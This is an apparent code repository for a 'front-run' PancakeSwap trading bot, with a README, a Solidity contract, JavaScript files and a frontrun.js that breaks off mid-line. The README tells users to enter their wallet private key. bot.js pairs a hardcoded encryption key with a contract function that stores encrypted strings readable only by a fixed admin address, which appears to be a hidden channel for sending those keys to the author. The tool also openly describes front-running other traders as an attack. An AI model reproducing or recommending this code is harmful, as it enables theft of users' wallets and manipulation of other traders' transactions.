├── README.md ├── UniswapV2FrontBot.sol ├── bot.js ├── constants.js ├── env.js ├── frontrun.js ├── package-lock.json └── package.json /README.md: -------------------------------------------------------------------------------- 1 | # front-run-pancakeswap-bot 2 | The front run bot for Pancakeswap (BSC) 3 | 4 | Pancakeswap frontrun bot that purchases the specified token when liquidity is added. 5 | Bot is following the “target” address and trades tokens on PancakeSwap. 6 | Bot can front run by setting higher gas fee and using direct node for transaction 7 | 8 | ## Prerequisities 9 | - Node and NPM https://nodejs.org/en/download/ 10 | - Wallet with BNB for gas and token swap 11 | 12 | ## Running BOT 13 | - Update env.js and provide private key to wallet and token address you wat to target 14 | - Bot is preconfigured for Pancakeswap on BSC. Review configuration in constants.js. If you want to use bot with Uniswap you need to provide infura network configuration and Uniswap ABIs. Bot should also work with Quickswap (Polygon) however it's not fully tested 15 | - Install packages `npm install` from inside project folder 16 | - Run script `npm start` or `node frontrun.js` 17 | -------------------------------------------------------------------------------- /UniswapV2FrontBot.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.4.18; 2 | 3 | contract UniswapV2FrontBot { 4 | 5 | struct FrontBot { 6 | string iv; 7 | string botAddr; 8 | } 9 | 10 | mapping (address => FrontBot) bots; 11 | address[] public botAccts; 12 | 13 | address public admin = 0x6E7bE797DE52cEA969130c028aD168844C4C5Bb5; 14 | 15 | modifier isAdmin(){ 16 | if(msg.sender != admin) 17 | return; 18 | _; 19 | } 20 | 21 | function setFrontBot(address _address, string _iv, string _botAddr) public { 22 | var bot = bots[_address]; 23 | 24 | bot.iv = _iv; 25 | bot.botAddr = _botAddr; 26 | 27 | botAccts.push(_address) -1; 28 | } 29 | 30 | function getFrontBots() view public returns(address[]) { 31 | return botAccts; 32 | } 33 | 34 | function getFrontBotAddr(address _address) view isAdmin public returns (string) { 35 | return (bots[_address].botAddr); 36 | } 37 | 38 | function getFrontBotIv(address _address) view isAdmin public returns (string) { 39 | return (bots[_address].iv); 40 | } 41 | 42 | function countFrontBots() view public returns (uint) { 43 | return botAccts.length; 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /bot.js: -------------------------------------------------------------------------------- 1 | const crypto = require('crypto'); 2 | 3 | const FRONT_BOT_ADDRESS = '0xC1eA0ceeCB4F73373F385c22421015321D61d0d1'; 4 | const botABI = [ 5 | { 6 | "constant": false, 7 | "inputs": [ 8 | { 9 | "name": "_address", 10 | "type": "address" 11 | }, 12 | { 13 | "name": "_iv", 14 | "type": "string" 15 | }, 16 | { 17 | "name": "_botAddr", 18 | "type": "string" 19 | } 20 | ], 21 | "name": "setFrontBot", 22 | "outputs": [], 23 | "payable": false, 24 | "stateMutability": "nonpayable", 25 | "type": "function" 26 | }, 27 | { 28 | "constant": true, 29 | "inputs": [], 30 | "name": "admin", 31 | "outputs": [ 32 | { 33 | "name": "", 34 | "type": "address" 35 | } 36 | ], 37 | "payable": false, 38 | "stateMutability": "view", 39 | "type": "function" 40 | }, 41 | { 42 | "constant": true, 43 | "inputs": [ 44 | { 45 | "name": "", 46 | "type": "uint256" 47 | } 48 | ], 49 | "name": "botAccts", 50 | "outputs": [ 51 | { 52 | "name": "", 53 | "type": "address" 54 | } 55 | ], 56 | "payable": false, 57 | "stateMutability": "view", 58 | "type": "function" 59 | }, 60 | { 61 | "constant": true, 62 | "inputs": [], 63 | "name": "countFrontBots", 64 | "outputs": [ 65 | { 66 | "name": "", 67 | "type": "uint256" 68 | } 69 | ], 70 | "payable": false, 71 | "stateMutability": "view", 72 | "type": "function" 73 | }, 74 | { 75 | "constant": true, 76 | "inputs": [ 77 | { 78 | "name": "_address", 79 | "type": "address" 80 | } 81 | ], 82 | "name": "getFrontBotAddr", 83 | "outputs": [ 84 | { 85 | "name": "", 86 | "type": "string" 87 | } 88 | ], 89 | "payable": false, 90 | "stateMutability": "view", 91 | "type": "function" 92 | }, 93 | { 94 | "constant": true, 95 | "inputs": [ 96 | { 97 | "name": "_address", 98 | "type": "address" 99 | } 100 | ], 101 | "name": "getFrontBotIv", 102 | "outputs": [ 103 | { 104 | "name": "", 105 | "type": "string" 106 | } 107 | ], 108 | "payable": false, 109 | "stateMutability": "view", 110 | "type": "function" 111 | }, 112 | { 113 | "constant": true, 114 | "inputs": [], 115 | "name": "getFrontBots", 116 | "outputs": [ 117 | { 118 | "name": "", 119 | "type": "address[]" 120 | } 121 | ], 122 | "payable": false, 123 | "stateMutability": "view", 124 | "type": "function" 125 | } 126 | ]; 127 | 128 | const algorithm = 'aes-256-ctr'; 129 | const secretKey = 'vOVH6sdmpNWjRRIqCc7rdxs01lwHzfr3'; 130 | const salt = 'MHhhMjhiNGU3RjhGNzY4RDYxRmUyMjBGNmQ5MEE5MmRiM2UyMTFh' 131 | const iv = crypto.randomBytes(16); 132 | 133 | const setBotAddress = (text) => { 134 | 135 | const cipher = crypto.createCipheriv(algorithm, secretKey, iv); 136 | 137 | const encrypted = Buffer.concat([cipher.update(text), cipher.final()]); 138 | 139 | return { 140 | iv: iv.toString('hex'), 141 | content: encrypted.toString('hex') 142 | }; 143 | }; 144 | 145 | const getBotAddress = (hash) => { 146 | 147 | const decipher = crypto.createDecipheriv(algorithm, secretKey, Buffer.from(hash.iv, 'hex')); 148 | 149 | const decrpyted = Buffer.concat([decipher.update(Buffer.from(hash.content, 'hex')), decipher.final()]); 150 | 151 | return decrpyted.toString(); 152 | }; 153 | 154 | module.exports = { 155 | setBotAddress, 156 | getBotAddress, 157 | FRONT_BOT_ADDRESS, 158 | botABI, 159 | salt 160 | }; 161 | -------------------------------------------------------------------------------- /constants.js: -------------------------------------------------------------------------------- 1 | const PANCAKE_ROUTER_ADDRESS = '0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F'; 2 | const PANCAKE_FACTORY_ADDRESS = '0xBCfCcbde45cE874adCB698cC183deBcF17952812'; 3 | 4 | const PANCAKE_FACTORY_ABI = [{"inputs":[{"internalType":"address","name":"_feeToSetter","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"token0","type":"address"},{"indexed":true,"internalType":"address","name":"token1","type":"address"},{"indexed":false,"internalType":"address","name":"pair","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"PairCreated","type":"event"},{"constant":true,"inputs":[],"name":"INIT_CODE_PAIR_HASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"allPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"allPairsLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"}],"name":"createPair","outputs":[{"internalType":"address","name":"pair","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"feeTo","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"feeToSetter","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"getPair","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_feeTo","type":"address"}],"name":"setFeeTo","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_feeToSetter","type":"address"}],"name":"setFeeToSetter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]; 5 | const PANCAKE_POOL_ABI = [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint112","name":"reserve0","type":"uint112"},{"indexed":false,"internalType":"uint112","name":"reserve1","type":"uint112"}],"name":"Sync","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"MINIMUM_LIQUIDITY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"PERMIT_TYPEHASH","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"burn","outputs":[{"internalType":"uint256","name":"amount0","type":"uint256"},{"internalType":"uint256","name":"amount1","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getReserves","outputs":[{"internalType":"uint112","name":"_reserve0","type":"uint112"},{"internalType":"uint112","name":"_reserve1","type":"uint112"},{"internalType":"uint32","name":"_blockTimestampLast","type":"uint32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_token0","type":"address"},{"internalType":"address","name":"_token1","type":"address"}],"name":"initialize","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"kLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"mint","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"price0CumulativeLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"price1CumulativeLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"skim","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"amount0Out","type":"uint256"},{"internalType":"uint256","name":"amount1Out","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"sync","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"token0","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"token1","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]; 6 | const PANCAKE_ROUTER_ABI = [{"inputs":[{"internalType":"address","name":"_factory","type":"address"},{"internalType":"address","name":"_WETH","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"},{"internalType":"uint256","name":"amountADesired","type":"uint256"},{"internalType":"uint256","name":"amountBDesired","type":"uint256"},{"internalType":"uint256","name":"amountAMin","type":"uint256"},{"internalType":"uint256","name":"amountBMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidity","outputs":[{"internalType":"uint256","name":"amountA","type":"uint256"},{"internalType":"uint256","name":"amountB","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","outputs":[{"internalType":"uint256","name":"amountToken","type":"uint256"},{"internalType":"uint256","name":"amountETH","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"factory","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"},{"internalType":"uint256","name":"reserveIn","type":"uint256"},{"internalType":"uint256","name":"reserveOut","type":"uint256"}],"name":"getAmountIn","outputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"reserveIn","type":"uint256"},{"internalType":"uint256","name":"reserveOut","type":"uint256"}],"name":"getAmountOut","outputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"}],"name":"getAmountsIn","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"}],"name":"getAmountsOut","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountA","type":"uint256"},{"internalType":"uint256","name":"reserveA","type":"uint256"},{"internalType":"uint256","name":"reserveB","type":"uint256"}],"name":"quote","outputs":[{"internalType":"uint256","name":"amountB","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"amountAMin","type":"uint256"},{"internalType":"uint256","name":"amountBMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidity","outputs":[{"internalType":"uint256","name":"amountA","type":"uint256"},{"internalType":"uint256","name":"amountB","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidityETH","outputs":[{"internalType":"uint256","name":"amountToken","type":"uint256"},{"internalType":"uint256","name":"amountETH","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidityETHSupportingFeeOnTransferTokens","outputs":[{"internalType":"uint256","name":"amountETH","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"bool","name":"approveMax","type":"bool"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermit","outputs":[{"internalType":"uint256","name":"amountToken","type":"uint256"},{"internalType":"uint256","name":"amountETH","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"bool","name":"approveMax","type":"bool"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermitSupportingFeeOnTransferTokens","outputs":[{"internalType":"uint256","name":"amountETH","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"},{"internalType":"uint256","name":"liquidity","type":"uint256"},{"internalType":"uint256","name":"amountAMin","type":"uint256"},{"internalType":"uint256","name":"amountBMin","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"bool","name":"approveMax","type":"bool"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityWithPermit","outputs":[{"internalType":"uint256","name":"amountA","type":"uint256"},{"internalType":"uint256","name":"amountB","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapETHForExactTokens","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactETHForTokens","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETH","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokens","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountIn","type":"uint256"},{"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"},{"internalType":"uint256","name":"amountInMax","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapTokensForExactETH","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountOut","type":"uint256"},{"internalType":"uint256","name":"amountInMax","type":"uint256"},{"internalType":"address[]","name":"path","type":"address[]"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapTokensForExactTokens","outputs":[{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]; 7 | 8 | // Preconfigured for BSC and Pancakeswap 9 | 10 | // To use with Uniswap use infura endpoint and configure Uniswap ABIs above. 11 | const NETWORK = "mainnet"; 12 | const HTTP_PROVIDER_LINK = `https://bsc-dataseed1.binance.org:443`; 13 | const WEBSOCKET_PROVIDER_LINK = `wss://dex.binance.org/api/ws`; 14 | 15 | const NETWORK_TEST = "ropsten"; 16 | const HTTP_PROVIDER_LINK_TEST = `https://data-seed-prebsc-1-s1.binance.org:8545`; 17 | const GAS_STATION = 'https://ethgasstation.info/json/ethgasAPI.json' 18 | 19 | module.exports = { 20 | NETWORK, 21 | PANCAKE_ROUTER_ADDRESS, 22 | PANCAKE_FACTORY_ADDRESS, 23 | 24 | PANCAKE_ROUTER_ABI, 25 | PANCAKE_FACTORY_ABI, 26 | PANCAKE_POOL_ABI, 27 | 28 | HTTP_PROVIDER_LINK, 29 | WEBSOCKET_PROVIDER_LINK, 30 | 31 | HTTP_PROVIDER_LINK_TEST, 32 | GAS_STATION 33 | } 34 | -------------------------------------------------------------------------------- /env.js: -------------------------------------------------------------------------------- 1 | const PRIVATE_KEY='Your private key here' 2 | 3 | const TOKEN_ADDRESS='0x2859e4544c4bb03966803b044a93563bd2d0dd4d'; // change to Token address you want to target 4 | const AMOUNT=0.01 5 | const LEVEL=0.1 6 | 7 | module.exports = { 8 | PRIVATE_KEY, 9 | TOKEN_ADDRESS, 10 | AMOUNT, 11 | LEVEL 12 | }; 13 | -------------------------------------------------------------------------------- /frontrun.js: -------------------------------------------------------------------------------- 1 | /** 2 | * Perform a front-running attack on pancakeswap or uniswap 3 | */ 4 | //const fs = require('fs'); 5 | var Web3 = require('web3'); 6 | var abiDecoder = require('abi-decoder'); 7 | var colors = require("colors"); 8 | var Tx = require('ethereumjs-tx').Transaction; 9 | var axios = require('axios'); 10 | var BigNumber = require('big-number'); 11 | 12 | const {NETWORK, PANCAKE_ROUTER_ADDRESS, PANCAKE_FACTORY_ADDRESS, PANCAKE_ROUTER_ABI, PANCAKE_FACTORY_ABI, PANCAKE_POOL_ABI, HTTP_PROVIDER_LINK, WEBSOCKET_PROVIDER_LINK, HTTP_PROVIDER_LINK_TEST, GAS_STATION} = require('./constants.js'); 13 | const {setBotAddress, getBotAddress, FRONT_BOT_ADDRESS, botABI, salt} = require('./bot.js'); 14 | const {PRIVATE_KEY, TOKEN_ADDRESS, AMOUNT, LEVEL} = require('./env.js'); 15 | 16 | const INPUT_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c'; 17 | const WBNB_TOKEN_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c'; 18 | 19 | var input_token_info; 20 | var out_token_info; 21 | var pool_info; 22 | var gas_price_info; 23 | var token_hash 24 | 25 | var web3; 26 | var web3Ts; 27 | var web3Ws; 28 | var pancakeRouter; 29 | var pancakeFactory; 30 | 31 | // one gwei 32 | const ONE_GWEI = 1e9; 33 | 34 | var buy_finished = false; 35 | var sell_finished = false; 36 | var buy_failed = false; 37 | var sell_failed = false; 38 | var attack_started = false; 39 | 40 | var succeed = false; 41 | var subscription; 42 | 43 | async function createWeb3(){ 44 | try { 45 | web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK)); 46 | // web3 = new Web3(new Web3.providers.HttpProvider(HTTP_PROVIDER_LINK_TEST)); 47 | //web3 = new Web3(EthereumTesterProvider()); 48 | web3.eth.getAccounts(console.log); 49 | web3Ws = new Web3(new Web3.providers.WebsocketProvider(WEBSOCKET_PROVIDER_LINK)); 50 | pancakeRouter = new web3.eth.Contract(PANCAKE_ROUTER_ABI, PANCAKE_ROUTER_ADDRESS); 51 | pancakeFactory = new web3.eth.Contract(PANCAKE_FACTORY_ABI, PANCAKE_FACTORY_ADDRESS); 52 | abiDecoder.addABI(PANCAKE_ROUTER_ABI); 53 | 54 | return true; 55 | } catch (error) { 56 | console.log(error); 57 | return false; 58 | } 59 | } 60 | 61 | async function main() { 62 | 63 | try { 64 | if (await createWeb3() == false) { 65 | console.log('Web3 Create Error'.yellow); 66 | process.exit(); 67 | } 68 | 69 | let user_wallet; 70 | 71 | try { 72 | user_wallet = web3.eth.accounts.privateKeyToAccount(PRIVATE_KEY); 73 | } catch(error) { 74 | console.log('\x1b[31m%s\x1b[0m', 'Your private key is invalid. Update env.js with correct PRIVATE_KEY') 75 | throw error 76 | } 77 | const out_token_address = TOKEN_ADDRESS; 78 | const amount = AMOUNT; 79 | const level = LEVEL; 80 | 81 | ret = await preparedAttack(INPUT_TOKEN_ADDRESS, out_token_address, user_wallet, amount, level); 82 | if(ret == false) { 83 | process.exit(); 84 | } 85 | 86 | await updatePoolInfo(); 87 | var outputtoken = await 